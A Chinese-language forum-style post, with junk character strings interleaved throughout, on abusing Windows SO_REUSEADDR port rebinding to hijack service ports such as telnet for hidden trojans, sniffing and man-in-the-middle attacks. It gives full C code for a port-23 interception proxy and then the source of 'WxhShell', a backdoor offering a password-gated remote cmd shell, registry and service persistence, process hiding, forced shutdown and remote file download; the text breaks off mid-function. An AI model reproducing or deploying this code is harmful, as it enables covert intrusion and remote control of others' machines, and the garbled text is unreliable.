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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <*cikXS s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iSs:oH3l oE]QF.n# saddr.sin_family = AF_INET; -]M5wb2, 4ID5q~ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6?c7$Y NU2;X (z[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )MTOU47U #Ki[$bS~6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 28d'7El$ d5:c^` 这意味着什么?意味着可以进行如下的攻击: j*r{2f4Rt m^;f(IK5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c(s.5p ^ xMG~N`r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T{[=oH+ WCixKYq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]>Es4 s fVpMx4&F
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 u;2[AQ. ge8ZsaiU 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Wdbed U~`Q .3Oap*X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a<bwzX|. T1=fNF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d>qY{Fdz 'm
kLCS #include &&>ekG9@ #include /h|#J #include 1=Z0w +v{ #include 9CD_os\h DWORD WINAPI ClientThread(LPVOID lpParam); Y`a3tO=Pd int main() Vs!Nmv` { .eVG:tl\ WORD wVersionRequested; t;\Y{` DWORD ret; 7WZ+T"O{I WSADATA wsaData; Qq|57X)P* BOOL val; FVJGL SOCKADDR_IN saddr; @|YH|/RF SOCKADDR_IN scaddr; JT_ `.( int err; BLD gt~h# SOCKET s; A6(/;+n SOCKET sc; +@wD qc int caddsize; *(DV\. l` HANDLE mt; vUM4S26"NT DWORD tid; P+/e2Y wVersionRequested = MAKEWORD( 2, 2 ); C e$w8z err = WSAStartup( wVersionRequested, &wsaData ); $1`2kM5 if ( err != 0 ) { cSV aI printf("error!WSAStartup failed!\n"); DN:EB@ return -1; l!u_"I8j5 } g]0_5?i saddr.sin_family = AF_INET; P-"y3 ZE= v`1M[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1p=]hC qY!Zt_Be6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HN|%9{VeB saddr.sin_port = htons(23); 5$C-9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 11;MN { Btcy)LRk printf("error!socket failed!\n"); _I5Y"o return -1; 9 djk[ttA) } -(H0>Ap val = TRUE; %1+4_g9 //SO_REUSEADDR选项就是可以实现端口重绑定的 (SAs- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rnq7LGy { c{w2Gt! printf("error!setsockopt failed!\n"); qlPT Ll return -1; 0LJv' } FU4L6n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f) L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )lDD\J7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Mb*?5R6; aQ@oH# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
92oFlEJ { 8KzkB;=n ret=GetLastError(); M9%$lCl
printf("error!bind failed!\n"); 5:_}zu|!u return -1; e+fN6v5pU } NK
H@+,+V listen(s,2); ?4T-@~~*`= while(1) ysY*k` 5 { lL0APT; caddsize = sizeof(scaddr); IJcsmNWm //接受连接请求 6.yu-xm sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x7 ,5 if(sc!=INVALID_SOCKET) tc_ 3sC7jN { 7HYwLG:\~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @f3E`8 if(mt==NULL) %d9uTm; { { 2f-8Z&> printf("Thread Creat Failed!\n"); Cq~dp/V break; {E|$8)58i } (TT}6j } mQ"-,mMI CloseHandle(mt); pOoEI+t } DZtsy!xA closesocket(s); ;Q`lNFa WSACleanup(); dG ?*y return 0; ]3Sp W{=^( } q'Pf] DWORD WINAPI ClientThread(LPVOID lpParam) 7;@]t^d=$ { 8zW2zkv2|# SOCKET ss = (SOCKET)lpParam; +9sQZB# ( SOCKET sc; <lJ345Q unsigned char buf[4096]; l9Q-iJ SOCKADDR_IN saddr; N4TV long num; (X*^dO DWORD val; :?1Dko^ DWORD ret; 8'y$M] e9n //如果是隐藏端口应用的话,可以在此处加一些判断 0?|<I{z2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *.w9c saddr.sin_family = AF_INET; wi{3/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O+x!Bg7 saddr.sin_port = htons(23); F#5~M<`.o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yyTnL 2Y9 { /PXzwP_(A printf("error!socket failed!\n"); EQSQFRk; return -1; 2&J)dtqz } 5146kp|1 val = 100; mgU<htMr1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5L}/&^E#p { ]JQULE) ret = GetLastError(); m+z&Q return -1; "qy,*{~ } +k R4E23: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [AJJSd/: { &m;*<}X ret = GetLastError(); Bdpy:'fJn return -1; l,aay-E } V0 a3<6@4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aw&,S"A@ { <qt|d& printf("error!socket connect failed!\n"); +R75v ) closesocket(sc); )NT*bLRPQ closesocket(ss); (A.C]hD return -1; 1s;Saq+ } &=mtc%mL while(1) 6j|{`Zd)G { )%fH(ns( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7tCw*t$ //如果是嗅探内容的话,可以再此处进行内容分析和记录 goWuw}? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2y1Sne=<Kb num = recv(ss,buf,4096,0); lr&a;aZp if(num>0) V>rU.Mp
QU send(sc,buf,num,0); AFt s( else if(num==0) %E;'ln4h&, break; _7y[B&g[r num = recv(sc,buf,4096,0); yEy6]f+>+ if(num>0) \o3gKoL% send(ss,buf,num,0); m+$VVn3Z} else if(num==0) es0hm2HT3 break; sV*H`N')S } hOK8(U0 closesocket(ss); }c:M^Ff closesocket(sc); G=bCNn< return 0 ; [()koU#w. } 5SQ8}Or3 l9"s>P U z\4.Gm- ========================================================== `uTmw^pZX >+T)#.wo& 下边附上一个代码,,WXhSHELL f*
wx< fI|$K)K ========================================================== p5*jzQ b|(:[nB #include "stdafx.h" |JsZJ9W+J Y}KNKO; #include <stdio.h> a?oI>8* #include <string.h> )=(kBWM #include <windows.h> M869MDo #include <winsock2.h> *qpSXmOz #include <winsvc.h> M )(DZ} #include <urlmon.h> Z4bNV?OH bvOq5Q6 #pragma comment (lib, "Ws2_32.lib") +
>!;i6| #pragma comment (lib, "urlmon.lib") b\,+f n y8xE
6i #define MAX_USER 100 // 最大客户端连接数 )Q JUUn# #define BUF_SOCK 200 // sock buffer (**oRwr% #define KEY_BUFF 255 // 输入 buffer ]eV8b*d6 m(P]k'ZH? #define REBOOT 0 // 重启 -D:b*D #define SHUTDOWN 1 // 关机 1{.9uw"2S X5w$4Kj&4l #define DEF_PORT 5000 // 监听端口 QTnP'5y ksm~<;td #define REG_LEN 16 // 注册表键长度 ,`sv1xwd #define SVC_LEN 80 // NT服务名长度 I(
Mm?9F K@%].: // 从dll定义API zKK9r~ M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HK%7g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~F#j#n(=`q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^=*;X;7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]I6 J7A[ &xExyz~` // wxhshell配置信息 u$`a7Lp,n struct WSCFG { lk =<A"^S int ws_port; // 监听端口 o#N+Y?O char ws_passstr[REG_LEN]; // 口令 @'|~v<<WZ int ws_autoins; // 安装标记, 1=yes 0=no 6wg^FD_Q char ws_regname[REG_LEN]; // 注册表键名 EhBKj |y char ws_svcname[REG_LEN]; // 服务名 Ws12b$ char ws_svcdisp[SVC_LEN]; // 服务显示名 c[s4EUG char ws_svcdesc[SVC_LEN]; // 服务描述信息 (w zQ2Dk char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?r!o~|9| int ws_downexe; // 下载执行标记, 1=yes 0=no [<TrS/,)> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" U%/+B]6jP char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -ze J#B)C R^e'}+Z }; H6gSO(U &,)&%Sg[ // default Wxhshell configuration A/?7w
struct WSCFG wscfg={DEF_PORT, c4z R* "xuhuanlingzhe", 3r1*m
+ 1, 51.%;aY~z "Wxhshell", fd9k?,zM "Wxhshell", :fJN->wY^s "WxhShell Service", /Gfw8g\} "Wrsky Windows CmdShell Service", KG{St{uJ "Please Input Your Password: ", ,iwp,=h= 1, N)Z?Z+}h " http://www.wrsky.com/wxhshell.exe", EBmt9S "Wxhshell.exe" nT)vNWT= }; /wlEe>i B|X!>Q<g // 消息定义模块 -%4,@
x` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @[v~y"tE} char *msg_ws_prompt="\n\r? for help\n\r#>"; ,wPr"U+7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9Gz=lc[!7 char *msg_ws_ext="\n\rExit."; =?`c=z3~i$ char *msg_ws_end="\n\rQuit."; k|f4Cf, char *msg_ws_boot="\n\rReboot..."; %N_%JK\{@ char *msg_ws_poff="\n\rShutdown..."; {f p[BF char *msg_ws_down="\n\rSave to "; |gY^)9ei 8a"%0d# char *msg_ws_err="\n\rErr!"; xe$_aBU char *msg_ws_ok="\n\rOK!"; ft
Wv~Eh EB|}fz char ExeFile[MAX_PATH]; N4HqLh23H int nUser = 0; ?Ss!e$jf HANDLE handles[MAX_USER]; Z$? # int OsIsNt; -H-~;EzU r,2g^K)6 SERVICE_STATUS serviceStatus; An/|+r\ SERVICE_STATUS_HANDLE hServiceStatusHandle; >c}u>]D AkiDL=;w // 函数声明 ;xn0;V'= int Install(void); J4U1t2@)9 int Uninstall(void); [opGZ`>)j" int DownloadFile(char *sURL, SOCKET wsh); ;]:@n;c\ int Boot(int flag); caX<
n>
void HideProc(void); h!9ei6 int GetOsVer(void); _u9Jxw?F@Y int Wxhshell(SOCKET wsl); G .4X' void TalkWithClient(void *cs); ]
@fk] ]R int CmdShell(SOCKET sock); |(^PS8wG int StartFromService(void); f6"Z'{j int StartWxhshell(LPSTR lpCmdLine); |
VDV<g5h IO:G1;[/2L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FML(4BY, VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wh{tZ~c %e} Saf // 数据结构和表定义 X#;bh78&- SERVICE_TABLE_ENTRY DispatchTable[] = Ilm^G}GB { Rbv;?'O$L {wscfg.ws_svcname, NTServiceMain}, ;YL i{ {NULL, NULL} LBP`hK:>W~ }; lU8Hd|@- K!l5coM // 自我安装 ,~W|]/b<q int Install(void) VJll { 'H <\x char svExeFile[MAX_PATH]; mpJ#:}n HKEY key; x]ot 2 strcpy(svExeFile,ExeFile); &b& , "" ZQ/t\ // 如果是win9x系统,修改注册表设为自启动 Aq7osU1B if(!OsIsNt) { @7n"yp*" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j"Pv0tehw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h@@=M RegCloseKey(key); sCHJ&>m5- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NQ2E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [}]Q?*_ RegCloseKey(key); S>1Iky|
return 0; -A!%*9Z } 7Hu3>4< } geCM<] } K",N!koj else { r]36zX v jrh43
\$* // 如果是NT以上系统,安装为系统服务 v/=}B(TDF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JqiP>4Uwm^ if (schSCManager!=0) jo@J}`\Zt { 8Uxne2e SC_HANDLE schService = CreateService q> C'BIr ( du^J2m{f schSCManager, 8)I^ t81 wscfg.ws_svcname, *4Y Vv wscfg.ws_svcdisp, (Ep\Z 6* SERVICE_ALL_ACCESS, !%0 *z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o{[YA}xc SERVICE_AUTO_START, W5MTD]J SERVICE_ERROR_NORMAL, AYx{U?0p svExeFile, )K NULL, pyvSwD5t NULL, %84rL?S NULL, Z#\P&\`1z NULL, u;c?d!E NULL h'F=YF$o ); {/:x5l8 if (schService!=0) 4{`{WI{ { ~qOa\#x_ CloseServiceHandle(schService); }vM("v|M CloseServiceHandle(schSCManager); @;RXLq/8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V~5jfcd strcat(svExeFile,wscfg.ws_svcname); OI*Xt` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4r}8lpF_( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D,FkB"ZZE RegCloseKey(key); wAW5
Z0D return 0; ?5
7Sk+ } I2 P@L?h } D d</`iUq CloseServiceHandle(schSCManager); D}X\Ca"h } S^ \Vgi( } /t"3!Z?BOv W6/yn return 1; Y0-n\| } @I!0-OjL )Z9>$V$j // 自我卸载 ,01"SWE int Uninstall(void) N<injx { e**qF=HCw HKEY key; [HZv8HU| >\3V a if(!OsIsNt) { &KRX[2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Npy:! RegDeleteValue(key,wscfg.ws_regname); ^.NU|NQi' RegCloseKey(key); @J`"[%U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q$@I"V&G. RegDeleteValue(key,wscfg.ws_regname); 9zy!Fq RegCloseKey(key); ZExlGC return 0; TbW38\>.R } j eP } hZ } D!IY&H,wo else { wDe& 1(T^ ~FG]wNgS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5]Y?m' if (schSCManager!=0) ]3.;PWa: { |_@>*Vmg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wi6
~}~% if (schService!=0) uk<9&{ { )|=j`jCC if(DeleteService(schService)!=0) {
]-/VHh CloseServiceHandle(schService); ?2Py_gkf CloseServiceHandle(schSCManager); wEvVL return 0; P
m e^l%M } |4 0`B% Z CloseServiceHandle(schService); b2&0Hx } vnZC,J ` CloseServiceHandle(schSCManager); RdRp.pb8 } I(BQ34q } YGCL2Y GDiBl* D return 1; p4
^yVa } n]o<S+z %aVq+kC h // 从指定url下载文件 x-&@wMqkc int DownloadFile(char *sURL, SOCKET wsh) |H+UOEiv,p { 8NAON5.! HRESULT hr; PBTnIU char seps[]= "/"; CN8Y\<Ar char *token; *mvlb
(' & char *file; t=W}SH char myURL[MAX_PATH]; mSl.mi(JiZ char myFILE[MAX_PATH]; K^<BW(s +}os&[S strcpy(myURL,sURL); UhQj
Qaa~ token=strtok(myURL,seps); UJ')I`zuI while(token!=NULL) A@{PZ { PP33i@G file=token; >V8-i` token=strtok(NULL,seps); fN1-d&T } LIF7/$,0 )W
_v:?A9 GetCurrentDirectory(MAX_PATH,myFILE); 3K0A)W/YEs strcat(myFILE, "\\"); 5f K_Aq{ strcat(myFILE, file); nazZ*lC send(wsh,myFILE,strlen(myFILE),0); Gm^U;u}=f send(wsh,"...",3,0); q ,]L$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zw
S F^ if(hr==S_OK) U$D65B4= return 0; N]=q|D else 8\A#CQ5b return 1; ^KT Y? scz&h#0V } [MM~H0=s !Pfr,a // 系统电源模块 Vd+T$uC int Boot(int flag) 4*cEag { ?Z[[2\DR HANDLE hToken; nB SYsp{ TOKEN_PRIVILEGES tkp; r1{@Ucw2 A&Usddcp if(OsIsNt) { 6wjw ^m0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1FL~ndJs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LxSpctiNx tkp.PrivilegeCount = 1; >7T'OC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h_3E)jc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0#Y5_i|p if(flag==REBOOT) { a:OQGhc= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ee%%d return 0; `MN4uC } ,77d(bR< else { _FU_Ubkr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WUXx;9 > return 0; o&)8o5 } ?(F6#"/E } <7Or{:Sc90 else { cO+qs[
BQ if(flag==REBOOT) { Nv}=L
: E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WH@,kH@ return 0; Zbt.t]N } '9Xu
p else { Vl=l?A8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s.QwSbw-g return 0; d_E/8R_$L } rCbDu&k] } SaAFz&WRl `*cxH.. return 1;
3-qr)h } !v_|zoCEj Ru!iR#s)! // win9x进程隐藏模块 H0gbSd+ void HideProc(void) eFTpnG { g<;q.ZylT J~zUp(>K HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o!Ieb if ( hKernel != NULL ) w3obIJm { g._]8{K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v,{
:Ez(H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :vqgGKml$ FreeLibrary(hKernel); bL+_j}{:N } f<fXsSv( l\!fj# return; r,1!?s^L } }mYx_=+VX )D5"ap]fX // 获取操作系统版本 ):6 8%, int GetOsVer(void) vzs)[AD { 8f)?{AX0 OSVERSIONINFO winfo; Fg5kX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0$)>D== GetVersionEx(&winfo); *ebSq) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {JO return 1; 7cT~oV !G_ else p{Yv3dNl return 0; F^t DL: } wc NOLUl HJLG=mU // 客户端句柄模块 p;59? int Wxhshell(SOCKET wsl) gx8ouOh { k"T}2 7 SOCKET wsh; $m%fwB struct sockaddr_in client; G%AbC" DWORD myID; \378rQU 0w\zLU while(nUser<MAX_USER) %S@ZXf~: { \K{0L int nSize=sizeof(client); mzaWST] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vv3*
j&I if(wsh==INVALID_SOCKET) return 1; 0d"[l@UU0 &0OG*}gi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a LroD$# if(handles[nUser]==0) mPtZO*Fc closesocket(wsh); EyD=q! ZVZ else LqoB 10Kc\ nUser++; "3)C'WlEy/ } hl7bzKO*w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @uqd.Q ?wiCQ6*$ return 0; |+FubYf?$ } h5{'Q$Erl 1MP~dRZ$ // 关闭 socket MSQEO4ge void CloseIt(SOCKET wsh) zl>nSndRE { !*F1q|R closesocket(wsh); W#4 7h7M nUser--; @; zl ExitThread(0); w;[NH/A^a } 5,Jp[bw{H{ #zv3b[@ // 客户端请求句柄 "/*\1v9 void TalkWithClient(void *cs) N
,'GN[s { B4c]}r+ |"X*@s\' SOCKET wsh=(SOCKET)cs; xaq-.IQAM$ char pwd[SVC_LEN]; rxgbV.tx char cmd[KEY_BUFF]; =r?hgGWe char chr[1]; |C;=-| int i,j; Z58X5" ?>D+ge while (nUser < MAX_USER) { (Du@ S Zw
26 if(wscfg.ws_passstr) { IXMop7~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~rE|%o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LvH4{B //ZeroMemory(pwd,KEY_BUFF); =\&;Fi] i=0; =V,mtT while(i<SVC_LEN) { DbBcQ% a?I=
!js // 设置超时 b(eNmu fd_set FdRead; iTBx\u%{ struct timeval TimeOut; &=@IzmA FD_ZERO(&FdRead); \+oQd=K@ FD_SET(wsh,&FdRead); $B2J
T9 TimeOut.tv_sec=8; o8V5w!+# TimeOut.tv_usec=0; ?(' wn< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %B2'~|g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9|^2",V {k>&?Vd! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AP n| \ pwd =chr[0]; m)ky*"( if(chr[0]==0xd || chr[0]==0xa) { . oF
&Ff/[ pwd=0; |sJ[0z break; #px+;k5 } VZp5)-!\ i++; !_]Y~[ } O@T9x$ [N-Di" // 如果是非法用户,关闭 socket [`#CXq' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @wGPqg } SB;&GHq"n G, }Yl send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }/0X'o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \#2Z)Kz j"t(0m while(1) { WrnrFz ^H p; .f. ZeroMemory(cmd,KEY_BUFF); @N>\|!1CC *<$*"p // 自动支持客户端 telnet标准 SXSgld2uS j=0; I13y6= d while(j<KEY_BUFF) { a=|K%ii+Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j2t7'bO_ cmd[j]=chr[0]; }kw#7m54 if(chr[0]==0xa || chr[0]==0xd) { @+&LYy72 cmd[j]=0; x77*c._3v break; !{+,B5 Hc } t>L2 j++; QGMV}y } JinUV6cr \0^Kram> // 下载文件 b<tNk]7 if(strstr(cmd,"http://")) { S*,17+6dV send(wsh,msg_ws_down,strlen(msg_ws_down),0); sf:,qD=z if(DownloadFile(cmd,wsh)) 3H'sHuK"X send(wsh,msg_ws_err,strlen(msg_ws_err),0); KaLzg5is else Z\(q@3 C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z 4e7PW| } =Pyj%4Rs else { rX U [$ubNk;!z switch(cmd[0]) { lB8-Z ow lne|5{h // 帮助 BwN0!lsF3 case '?': { E'f{i:O"~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); juP7P[d$qW break; \,'m</o~, } :p1u(hflS // 安装 7zl5yKN case 'i': { ]
7[
3>IN if(Install()) v8w q,CYV send(wsh,msg_ws_err,strlen(msg_ws_err),0); vRYQ{: else mtpeRVcF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .97])E[U break; <jBF[v9*m( } 9sM!`Lz{ // 卸载 (=FRmdeYl1 case 'r': { V%t.l if(Uninstall()) s2a{>II6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); xf'V{9* else bS{bkE> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "6("9" break; `{gHA+B } nd`1m[7MNu // 显示 wxhshell 所在路径 FBG4pb9=~ case 'p': { B5`EoZ char svExeFile[MAX_PATH]; `C,n0'PL. strcpy(svExeFile,"\n\r"); x[|}.Ew strcat(svExeFile,ExeFile);
>^O7 send(wsh,svExeFile,strlen(svExeFile),0); \Zb;'eDv break; ImA @}: } pj8=wc h // 重启 iR HQ:Y! case 'b': { b;L\EB send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~kV/!= if(Boot(REBOOT)) H[T?\Lq send(wsh,msg_ws_err,strlen(msg_ws_err),0); d.aS{;pse else { s `e{}\ closesocket(wsh); 0RzEY!9g+ ExitThread(0); JT~4mT } I !-
U'{ break; C;v.S5x } {% 6}' // 关机 9FF0%*tGo case 'd': { s$IDLs,WM send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B 5L2< if(Boot(SHUTDOWN)) "mo?*
a$Sk send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<k?Vu else { )J=! L\ closesocket(wsh); m1b?J3 ExitThread(0); I2XU(pYU } 6]i-E>p3R break; S*pGMuui } Xa[.3=bV? // 获取shell )Dms case 's': { @ 8(q$ CmdShell(wsh); ,.S~
Y closesocket(wsh); 'z8pzMmT ExitThread(0); )w em|:H break; zE*li`@ } =&6eM2>P // 退出 cF*TotU_m case 'x': { Z<oaK send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *9
{PEx CloseIt(wsh); MyOd,vU break; DmK57V4L^ } Nd4f^Y // 离开 ]dVGUG8 case 'q': { 4>YR{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]U?^hZ_ closesocket(wsh); <(#(hDwy WSACleanup(); 0J*??g-n exit(1); *YI98 break; yHYsZ,GE } #Bze,?@ } UhF-K#Z9 } 5{TsiZh4 3l]lwV // 提示信息 'B$yo] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &/Z
/Y ] } J[&@PUy } BX/8O<s0 7jrt7[{ return; t
mntp } y<UK:^t31V W<{h,j8 // shell模块句柄 |o"?gB}Dh int CmdShell(SOCKET sock) 2F;y;l% { E#34Wh2z STARTUPINFO si; JBj]najN ZeroMemory(&si,sizeof(si)); xh-o}8*n" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z9f-.72"X si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /A\8 mL8 PROCESS_INFORMATION ProcessInfo; (le9q5Qr. char cmdline[]="cmd"; Bg=wKwc8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =}^9 wP return 0; AD>e?u } uo:J\ E qw301]y // 自身启动模式 3ZuZ/= int StartFromService(void) !vi>U|rh { D_ 2:k'4 typedef struct ]|pe>:gf' { _oL?*ks DWORD ExitStatus; umBICC]CU DWORD PebBaseAddress; W ~<^L\Lu DWORD AffinityMask; y8y5*e~A-) DWORD BasePriority; Y;eZ9|Ht9 ULONG UniqueProcessId; ,u=`uD ULONG InheritedFromUniqueProcessId; W.jGGt\<\ } PROCESS_BASIC_INFORMATION; @)+AaC#- 1q\\5A<V PROCNTQSIP NtQueryInformationProcess; 7O2/z:$f <\y@*fg+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,]C;sN%~} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,oe < J-:.FKf\5l HANDLE hProcess; T wB}l PROCESS_BASIC_INFORMATION pbi; nUr5Qn? 8$cLG*=h4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CZe ]kXNv if(NULL == hInst ) return 0; )CYGQMK w_c"@CjkE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X56q-| g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 